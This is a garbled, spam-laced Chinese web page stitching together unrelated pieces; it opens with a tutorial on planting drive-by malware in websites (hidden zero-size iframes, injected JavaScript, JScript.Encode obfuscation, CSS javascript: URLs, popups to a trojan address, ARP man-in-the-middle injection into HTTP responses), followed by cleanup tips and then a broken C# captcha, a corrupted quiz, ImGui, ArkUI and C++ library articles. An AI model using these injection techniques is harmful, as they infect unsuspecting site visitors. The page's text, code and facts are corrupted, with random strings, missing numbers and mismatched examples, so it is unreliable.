1.在网页是源码让访问网页的人自动并且自动安装的代码
2.如何用C#制作验证码
3.3~2~12,5~8~28,源码8~15~48,源码19~23~( )
4.游戏编程扯淡精粹ImGui实现
5.鸿蒙应用开发-初见:ArkUI
6.你工作中最推荐的源码 C/C++ 程序库有哪些,为什么?
在网页是源码让访问网页的人自动并且自动安装的代码
一:框架挂马浪漫之家社区门户.}8d{ ocb
;Z}x?\` sT-e0 <iframe src=地址 width=0 height=0></iframe>浪漫之家社区门户*f2iNFvtV$V
]-iXpQG+v$\0二:js文件挂马浪漫之家社区门户2D(D_3QU1a YS
T,UEsy(~ Q!i"K0 首先将以下代码浪漫之家社区门户XvK&DSs_ n
document.write("<iframe width='0' height='0' src='地址'></iframe>");浪漫之家社区门户7v1rWpv4E`
保存为xxx.js,
0];Q.E?源码高并发项目源码N A0 则JS挂马代码为
xt].y4QfX0 <script language=javascript src=xxx.js></script>
(~+}Cy:R9ss0浪漫之家社区门户(rJ(E^5Z b|+p
三:js变形加密浪漫之家社区门户w4{ 7v~ Cj
浪漫之家社区门户gAub7\5Us
<SCRIPT language="JScript.Encode" src=/muma.txt></script>浪漫之家社区门户'IQWSv
muma.txt可改成任意后缀浪漫之家社区门户 aJ5~7sX]
四:body挂马浪漫之家社区门户LV3X"HVc?#[
7y0k9P;Z&hn0 <body ></body>
0u yo.{ \Za0浪漫之家社区门户;M2cA Xo,[\,m
五:隐蔽挂马
P2@vj2\m}.LBf0浪漫之家社区门户bF9^c A;i[6\;l k`
top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="/"></iframe>';浪漫之家社区门户o1}"uC)u
浪漫之家社区门户'_g+N#` x'@$x
六:css中挂马浪漫之家社区门户^1c9|5T+E3A l `0R
.P:ZGz3qy`0 body { 浪漫之家社区门户*]&N5b+S2d!k v!p%o
background-image: url('javascript:document.write("<script src=(迷惑连接地址,显示这个地址指向木马地址)" > 页面要显示的源码内容 </a>
_`!xA,B3e zt6T;C0<SCRIPT Language="JavaScript">浪漫之家社区门户L%w~StQ-@5]S
function www__com ()浪漫之家社区门户O U7\%d Z7x
{ 浪漫之家社区门户%l4y"C)R&j-Re1g
var url="网马地址";
[};t0A&G0open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=,height=,left=,top=");浪漫之家社区门户 Wh!j+Hm;`c
}浪漫之家社区门户)r5g#Sj7SB4^_
</SCRIPT>
:y&N~-a!^$?dd6E0浪漫之家社区门户u~E6KQD
十一: 超级网马—通过arp欺骗来直接挂马
:mhZ2F3r3r-z$s2O0
"YO8C^i$rl/].o0原理:arp中间人攻击,实际上相当于做了一次代理。源码浪漫之家社区门户]%DpqmFV?源码C8E7_F
浪漫之家社区门户:|3_j$@&aw.]?t
正常时候: A---->B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机
7LI KTs0arp中间人攻击时候: A---->C---->B
gh|$[b N0B---->C---->A
iIqcO8v0实际上,C在这里做了一次代理的作用浪漫之家社区门户9lxbjEE9_3Xr r L
浪漫之家社区门户R.{ *kT9Ui
那么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如<iframe>...之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用.在这个过程中,B是没有任何感觉的,直接攻击的是正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了。
8cd1bA j+v}0
p6j4xgv0如何处理网页木马:
.r:ej y}izC#i、源码找到嵌入的源码网页木马文件。以下,源码拿自己的源码经历说事。找到的源码文件是wm.htm
#c [:[}.caA ?4s)ax0浪漫之家社区门户C%qQ7Xd M-i8T,\ q
2、在注册表中查找wm.htm。源码很幸运,找到了。开始顺藤摸瓜...浪漫之家社区门户)qJXkHY)I
浪漫之家社区门户*@ L uIi
3、修改键值wm.htm为wm_nnd.htm。
/bX0e5I-`0浪漫之家社区门户R+jyC)wk8Kl,y
4、再次查找wm.htm。很不幸,又查到了。说明有服务程序在作怪。嘿嘿,有意外发现。浪漫之家社区门户bQ[7~,\2P
cain.exe,据说是密码嗅探器。浪漫之家社区门户gG.px xa_C
8m9e"z5^!q)[8By8iY;BA、修改键值cain.exe为cain_nnd.exe。
`m+b3@ @-H0浪漫之家社区门户ax;U+p1n(J
6、查找cain.exe,阿里源码仓库仍然可以查到。嘻嘻,在预料之中。
M*UQ:\7Rc`B0浪漫之家社区门户U(F0Nu9W
7、怀疑wm.htm与cain.exe同流合污,背后有服务程序作后台。浪漫之家社区门户}zj4x V2G
浪漫之家社区门户V;q0l:@Sri
8、快查查看,系统服务程序。在运行->msconfig 或直接在命令行使用net start,查看可疑程序
vI4f J)L o)D0
'i G*E W*^a、发现temp*.exe(全名记不清了),立马net stop server 。浪漫之家社区门户;F{ %\B7r a9eY
'W2IH9bP2MI:Oxkk、快去修改键值wm.htm为wm_nnd.htm,cain.exe为cain_nnd.exe。
0jW r7O C0
(j}y,w6G+Z、再次查找wm.htm或cain.exe,没有找到。哈哈,很好。
Q(|%h,}t0
5VO\mW@;y.N;n、观察了几天,没再发生挂马的现象。 另外,通过检测网络连接查看服务器是否中了木马或病毒浪漫之家社区门户3\O] @n{ r
浪漫之家社区门户I$@K9QN&S${ /U
1、使用netstat -an 查看所有和本地计算机建立连接的IP。
.gB1n dL(|H}0
(B.Qv1v%?2k+G X、连接包含四个部分——proto(连接方式)、local address(本地连接地址)、foreign address(和本地建立连接的地址)、state(当前端口状态)。nmacd指标源码 通过这个命令的详细信息,可以完全监控计算机上的连接,从而达到控制计算机的目的。
7J;rK5WE0浪漫之家社区门户"i \$J\ KI
3、手工制作bat程序,生成网络连接日志文件供站长分析:bat文件代码如下
1BKY-~#Bx8u@J#G0浪漫之家社区门户2@wQY5M
REM 注释:监控的时间
;|)RUz!A;X@0time /t>>Netstat.log浪漫之家社区门户L:vR9ZSum
REM 每隔秒,把服务器上通过tcp协议通讯的IP和端口写入日志文件浪漫之家社区门户8| F { .f,p*H5f a]
Netstat -n -p tcp >>Netstat.log浪漫之家社区门户9LUgLM(X[%v
dA_"C_`!J+{ 0注意:要谨慎使用,这会给服务器带来性能影响。最好,在服务器发生异常,怀疑中木马或病毒时,用来分析网络连接日志。浪漫之家社区门户y Bs}mZ\
浪漫之家社区门户e&f$J!@#k
仅仅这些还不够,说说更严重的:浪漫之家社区门户 nw!C~/@.k { bc_
6UM T%`3HQs8`m r、可恶的攻击者喜欢使用克隆账号的方法来控制你的计算机。“它们”激活一个系统中的默认账户,但这个账户是不经常用的, 然后使用工具把这个账户提升到管理员权限,从表面上看来这个账户还是和原来一样,但是这个克隆的账户却是系统中最大的安全隐患。浪漫之家社区门户i{ ${ 1}v1hd+r$E"ix
浪漫之家社区门户 j8o0~|`:~^"B&G
2、赶快检测系统帐户:
X!u'w Q7^*cJ(o&OH0a、在命令行下输入net user,查看计算机上有些什么用户。浪漫之家社区门户] t G.^ @T
b、使用“net user 用户名”查看这个用户属于什么权限的及登录时间等。
9b)~~&x0?"l,Gru0c、一般除了Administrator是administrators组的,如果你发现一个系统内置的用户是属于administrators组的,
E T/u/d%i#B1{ u0 那么别人在你的计算机上克隆账户的概率为%。浪漫之家社区门户*w}+g9B0\
d、敲敲云源码是使用“net user 用户名 /del” 来删掉这个用户,还是修改其它配置,这你说了算。
如何用C#制作验证码
生成验证码的CS代码Img.aspx.cs
using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Text;
using System.Drawing;
public partial class Img : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
string[] str = new string[4];
string serverCode="";
//生成随机生成器
Random random = new Random();
for (int i = 0; i < 4; i++)
{
str[i] = random.Next().ToString().Substring(0,1);
}
CreateCheckCodeImage(str);
foreach(string s in str)
{
serverCode += s;
}
Session["serverCode"] = serverCode;
}
private void CreateCheckCodeImage(string[] checkCode)
{
if (checkCode == null || checkCode.Length <= 0)
return;
System.Drawing.Bitmap image = new System.Drawing.Bitmap((int)Math.Ceiling((checkCode.Length * .5)), );
System.Drawing.Graphics g = Graphics.FromImage(image);
try
{
Random random = new Random();
//清空背景色
g.Clear(Color.White);
//画的背景噪音线
for (int i = 0; i < ; i++)
{
int x1 = random.Next(image.Width);
int x2 = random.Next(image.Width);
int y1 = random.Next(image.Height);
int y2 = random.Next(image.Height);
g.DrawLine(new Pen(Color.Silver), x1, y1, x2, y2);
}
//定义颜色
Color[] c = { Color.Black, Color.Red, Color.DarkBlue, Color.Green, Color.Orange, Color.Brown, Color.DarkCyan, Color.Purple };
//定义字体
string[] f = { "Verdana", "Microsoft Sans Serif", "Comic Sans MS", "Arial", "宋体" };
for (int k = 0; k <= checkCode.Length - 1; k++)
{
int cindex = random.Next(7);
int findex = random.Next(5);
Font drawFont = new Font(f[findex], , (System.Drawing.FontStyle.Bold));
SolidBrush drawBrush = new SolidBrush(c[cindex]);
float x = 5.0F;
float y = 0.0F;
float width = .0F;
float height = .0F;
int sjx = random.Next();
int sjy = random.Next(image.Height - (int)height);
RectangleF drawRect = new RectangleF(x + sjx + (k * ), y + sjy, width, height);
StringFormat drawFormat = new StringFormat();
drawFormat.Alignment = StringAlignment.Center;
g.DrawString(checkCode[k], drawFont, drawBrush, drawRect, drawFormat);
}
//画的前景噪音点
for (int i = 0; i < ; i++)
{
int x = random.Next(image.Width);
int y = random.Next(image.Height);
image.SetPixel(x, y, Color.FromArgb(random.Next()));
}
//画的边框线
g.DrawRectangle(new Pen(Color.Silver), 0, 0, image.Width - 1, image.Height - 1);
System.IO.MemoryStream ms = new System.IO.MemoryStream();
image.Save(ms, System.Drawing.Imaging.ImageFormat.Gif);
Response.ClearContent();
Response.ContentType = "image/Gif";
Response.BinaryWrite(ms.ToArray());
}
finally
{
g.Dispose();
image.Dispose();
}
}
}
Img.aspx 页面代码
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="Img.aspx.cs" Inherits="Img" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org//xhtml" >
<head runat="server">
<title>无标题页</title>
</head>
<body>
<form id="form1" runat="server">
<div>
</div>
</form>
</body>
</html>
在其他页面中用<asp:Image ID="Img" runat="server" ImageUrl="~/Img.aspx" />显示验证码
3~2~,5~8~,8~~,~~( )
答案:C
[img]gwyxc-/xc-a--wsgublo4wni.png[/img][img]gwyxc-/xc-a--gs4kwzyp2ln.png[/img]。[img]gwyxc-/xc-a--0x4uzvedk5x.png[/img],[img]gwyxc-/xc-a--yxqqhmgch1k.png[/img],[img]gwyxc-/xc-a--stbvyviuihu.png[/img],[img]gwyxc-/xc-a--ymxdezy3ljv.png[/img]。
故正确答案为C。
游戏编程扯淡精粹ImGui实现
在游戏编程中,ImGui的实现设计注重实践和效率。虽然pyimgui功能有限,但其C++版本相对成熟,可供参考。ImGui开源社区活跃,拥有丰富的扩展和工具,如Gizmos控件和二进制编辑器,还有性能分析工具Profiler。
尽管代码量在不断增长,从最初的1万行到最新版的2.1万行,加上魔改的stb库的3.6万行,代码结构清晰,分为几个模块:配置管理(config)、核心接口(ImGui,负责公共接口和运行时实现)、以及基于stb的控件实现部分。
C++中,ImGui接口以函数为主,武器源码在哪分为与渲染引擎后端的集成和UI逻辑编写。接口类似C API风格,与Lua类似,只是将ImGuiState作为全局变量,便于在任何位置调用。然而,由于返回值的处理问题,将编辑后的结果作为指针传递给脚本编译可能会遇到挑战。
ImGui的架构主要关注引擎后端的集成和UI逻辑的处理。接入过程相对简单,主要涉及引擎输入、ImGui处理和渲染引擎之间的数据传递。ImGui维护自己的IO状态,处理输入事件并计算绘制需求。后端只需渲染由ImGui生成的顶点列表和三角形,设置基本的MVP矩阵。
控件实现以按钮为例,通过检测鼠标点击和位置来触发逻辑,同时计算绘制数据。ImGui通过每个控件的包围盒(aabb)进行位置计算,虽然进行了简单的剔除优化,但仍需注意大部分时间下的全量绘制。
最后,ImGui的实现参考了年的《即时图形用户界面》一书,提供了深入理解其工作原理的参考来源。
鸿蒙应用开发-初见:ArkUI
鸿蒙应用开发新体验:探索ArkUI的声明式布局在鸿蒙的开发世界中,ArkUI为我们带来了全新的UI构建方式——声明式编程。与传统的命令式布局相比,它以更直观的语言描述界面结构,让开发者专注于表达设计意图,而非精确的元素定位。
告别命令式布局,迎接声明式新范式
以前,我们可能需要这样编写代码来创建一个卡片视图:UIView cardView = ... // Objective-C风格
cardView.backgroundColor = ...; ... cardView.addSubview(imgView); ... cardView.addSubview(titleLbl); ...
而在ArkUI中,这样的过程简化为:HStack { AsyncImage(url:) .frame(width: ) .clipped() VStack { Text("标题") Text("描述") VStack { Text("价格", fontWeight: .bold) Text(",元/平") } alignment: .flexEnd } }
通过SwiftUI的声明式API,布局变得灵活且易于管理,每个组件之间的关系清晰可见。万柳书院新区示例
例如,一个4室2厅的房产信息,通过声明式布局呈现如下: 4室2厅/.㎡/南北/万柳书院价格:万/,元/平
在鸿蒙中,Flutter和SwiftUI的布局原理有所不同:Flutter:子视图大小确定后,根据对齐方式放置
SwiftUI:通过文档指导,结合组件内容区大小进行布局
声明式布局的精髓
ArkUI的声明式布局核心在于,父视图根据子组件的内容区域动态分配空间。你可以选择使用Row或Column,通过justifyContent调整元素在主轴上的对齐方式,而alignItems则控制交叉轴的对齐。 更进一层,Flex布局提供无尽的灵活性,支持单向或多向布局,轻松实现元素的自动换行和方向调整。Stack则负责子元素在Z轴上的排列,通过alignContent控制其在交叉轴上的相对位置。 利用这些工具,你可以在创建List时,利用ForEach简化开发过程,如设置listDirection和stickyStyle,轻松实现滚动、分组和懒加载。对于Grid布局,它提供了类似UICollectionView的体验,通过rowsTemplate和columnsTemplate定义行列布局。 最后,深入学习鸿蒙开发的最佳途径是参考官方资源,如《鸿蒙 (Harmony OS) 开发学习手册》,涵盖入门、概念、技术架构和详细开发指南,助你快速上手并构建出美观且高效的鸿蒙应用。你工作中最推荐的 C/C++ 程序库有哪些,为什么?
在程序员的工具箱中,C/C++程序库犹如璀璨的宝石,为我们的项目增添了无穷的活力。今天,我将带你探索一些鲜为人知但极其实用的库,它们在各自领域中发挥着不可替代的作用,让开发工作更加高效和愉悦。让我们一起深入了解一下这些宝藏库:
bundle:这个封装库堪称压缩工具的大管家,由r-lyeh-archived精心打造,将常见的压缩工具整合为统一接口,让你的代码更加整洁和高效。 Celero:DigitalInBlue的Celero,是性能测试领域的简约王者,它的设计简洁易用,让你能够快速准确地评估代码性能。 getopt:r-lyeh-archived的getopt库,就像一道甜品,为命令行参数解析带来了甜蜜的简化,让复杂操作变得轻而易举。 stb_image, stb_truetype:nothings的stb系列库,就像魔法棒,能轻松加载和字体,提升用户体验的同时,保持代码轻量级。 better-enums:aantron的better-enums,是编译期enum的升级之作,专为序列化等高级需求设计,重量级但实用无比。 Catch2:catchorg的Catch2,是单元测试领域的明星,以其高度集成的特性,让你的测试工作如丝般顺滑。 uchardet:BYVoid的uchardet,如同语言翻译机,能识别并猜测字符串的编码,让国际化处理变得轻松。 win-iconv:win-iconv/win-iconv库,是Windows上字符转换的得力助手,解决跨平台字符问题的不二之选。 freetype-gl:rougier的freetype-gl,是OpenGL下字体渲染的精致之作,让图形界面更具魅力。 nanovg:memononen的nanovg,是2D绘图的跨平台魔方,无论在何种平台上都能保持一致的出色表现。 imgui:r-lyeh-archived的imgui,是即时模式GUI的典范,让交互设计既直观又灵活。 spdlog:gabime的spdlog,是高效日志处理的瑞士军刀,让你的调试和监控如虎添翼。 ffts:linkotec的ffts,是FFT处理的轻量级解决方案,让信号处理任务更加简单高效。 fmt:fmtlib/fmt,小巧但功能强大的格式化库,让你的代码输出变得优雅而精准。 Amalgamate:vinniefalco的Amalgamate,是大型库管理的魔术师,能将多文件库整合为单一文件,简化项目集成。通过Amalgamate,我们可以将这些大而全的库整合为更便于管理的单文件,显著提升了项目的组织和维护效率。每个库都在它们的专业领域中发挥着关键作用,让C/C++的开发过程变得更加高效和愉快。
安装cimatronE9.0出现这问题怎么办,求高手支招啊!!!我电脑是win7 位旗舰版的
下载一个CIMGUI.DLL到系统里面。
(1)下载文件CimGUI.dll文件到您的桌面上。
(2)将CimGUI.dll文件放到提示丢失的文件的程序目录下。
(3)如果第2步是行不通的。将文件CimGUI.dll到系统目录下。
C:\Windows\System (Windows //Me)
C:\WINNT\System (Windows NT/)
C:\Windows\System (Windows XP, Vista)
C:\Windows\System (Windows
7/8/r2)
C:\Windows\SysWOW (Windows 7/8/r2)
imgui被ç¹å¾
ç¹å¾æ¯æ¾ç¤ºåºåå®æ¶å·æ°çç¨åºéé¢ãImGuiæ¯ä¸ç§æ¯è¾æ°é¢çGUIå®ç°æ¨¡å¼ï¼æ¯ä¸å¹³å°æ å ³çCå å è½»é级跨平å°å¾å½¢çé¢åºï¼ä¸»è¦ç¨äºæ¸¸æè¡ä¸ã
OpenGL学习之旅(6)---imgui库使用
在OpenGL学习之旅的第六部分,我们将探索如何将imgui库集成到我们的项目中,为OpenGL程序增添交互性。首先,我们从GitHub上克隆imgui库的源码,并确保将其编译成动态库以便于链接至可执行程序。在CMakeLists.txt文件中,我们需添加编译imgui库中源文件的路径,同时确保链接到glfw库和opengl库。
在我们的main函数中,包含imgui头文件后,我们进行初始化。随后,在渲染循环中创建imgui窗口帧,并显示默认窗口。在渲染部分,我们需要更新imgui窗口,以实现动态交互。最后,在程序结束时释放imgui资源。
通过imgui窗口,我们可以动态调试3D空间变换。首先定义用于动态调试的变量,如旋转轴和旋转角度,以及平移向量,用于调整透视投影变换中的视场角。在渲染循环中,将这些变量添加至imgui窗口中,以便用户能够实时观察3D变换效果。运行程序后,用户能够通过调节参数,如帧率,动态观察3D空间变换。
本文总结了使用imgui进行动态调试参数的流程,并提供了main.cpp与CMakeLists.txt的完整源码。